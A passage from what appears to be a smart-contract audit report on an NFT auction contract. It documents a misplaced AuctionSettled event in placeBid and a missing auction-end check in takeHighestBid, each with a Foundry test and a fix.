**Description:** The `BidBeastsNFTMarket::placeBid` function emits the `AuctionSettled` event on any bid placement, while it should only be emitted if the bid equals or is greater than `_buyNowPrice`. The event

**Impact:** Inaccurate information and confusion for users and decentralized applications (dapps) that depend on the protocol's logs.

**Proof of Concept:** Add the following code snippet to the `BidBeastsMarketPlaceTest.t.sol` test file.

```

1 event AuctionSettled(uint256 tokenId, address winner, address seller,
                      uint256 price);
2
3 function testPlaceBidEmitsAuctionSettledOnAnyBid() public {
4     uint256 S_MIN_BID_INCREMENT_PERCENTAGE = 5;
5     uint256 firstBidAmount = MIN_PRICE + 1;
6     uint256 secondBidAmount = firstBidAmount + (firstBidAmount *
S_MIN_BID_INCREMENT_PERCENTAGE) / 100;
7
8     _mintNFT();
9     _listNFT();
10
11    vm.prank(BIDDER_1);
12    vm.expectEmit(true, true, true, true, address(market));
13    emit AuctionSettled(TOKEN_ID, BIDDER_1, SELLER, MIN_PRICE + 1);
14    market.placeBid{value: MIN_PRICE + 1}(TOKEN_ID);
15
16    vm.prank(BIDDER_2);
17    vm.expectEmit(true, true, true, true, address(market));
18    emit AuctionSettled(TOKEN_ID, BIDDER_2, SELLER, secondBidAmount);
19    market.placeBid{value: secondBidAmount}(TOKEN_ID);
20 }

```

**Recommended Mitigation:** Remove the `AuctionSettled` event emission from the `BidBeastsNFTMarket::placeBid` function.

```

1     function placeBid(uint256 tokenId) external payable isListed(
        tokenId) {

```

```

2      ...
3
4      require(msg.sender != previousBidder, "Already highest
5          bidder");
6      -     emit AuctionSettled(tokenId, msg.sender, listing.seller,
7          msg.value);
8      ...
}
```

## Low

### [L-1] The BidBeastsNFTMarket::takeHighestBid function is missing a period check, creating some level of unclear information and confusion for users.

**Description:** The `BidBeastsNFTMarket::takeHighestBid` function's NatSpec documentation indicates it can only be called before the auction ends. However, it does not check if the auction has ended, allowing the seller to take the highest bid after the auction ends.

**Impact:** This creates some level of unclear information and confusion for users, as it partially repeats the functionality of the `BidBeastsNFTMarket::settleAuction` function.

```

1  **Proof of Concept:** Add the following code snippet to the
   BidBeastsMarketPlaceTest.t.sol` test file.
2
3  This code snippet is designed to demonstrate the `BidBeastsNFTMarket::
   takeHighestBid` function being successfully called after the auction
   ends.
```

```

1  function testTakeHighestBidAfterAuctionEnd() public {
2      vm.startPrank(OWNER);
3      nft.mint(SELLER);
4      vm.stopPrank();
5
6      vm.startPrank(SELLER);
7      nft.approve(address(market), TOKEN_ID);
8      market.listNFT(TOKEN_ID, MIN_PRICE, BUY_NOW_PRICE);
9      vm.stopPrank();
10
11     // First bid to start auction
12     uint256 bidAmount = MIN_PRICE + 1;
13     vm.prank(BIDDER_1);
14     market.placeBid{value: bidAmount}(TOKEN_ID);
15
16     // End auction and settle
17     vm.warp(block.timestamp + market.S_AUCTION_EXTENSION_DURATION() +
1 );
```

```
18     vm.prank(SELLER);
19     market.takeHighestBid(TOKEN_ID);
20
21     assertEq(nft.ownerOf(TOKEN_ID), BIDDER_1);
22     assertEq(market.getListing(TOKEN_ID).listed, false);
23 }
```

**Recommended Mitigation:** Add a check for the auction end time to the `BidBeastsNFTMarket::takeHighestBid` function to ensure it can only be called before the auction ends.

```
1   function takeHighestBid(uint256 tokenId) external isListed(tokenId)
2     isSeller(tokenId, msg.sender) {
3     +   require(listings[tokenId].auctionEnd > block.timestamp, "Auction has ended");
4     Bid storage bid = bids[tokenId]; // creates a link to bids[tokenId] value, why ?
5     require(bid.amount >= listings[tokenId].minPrice, "Highest bid is below min price");
6
7   }
```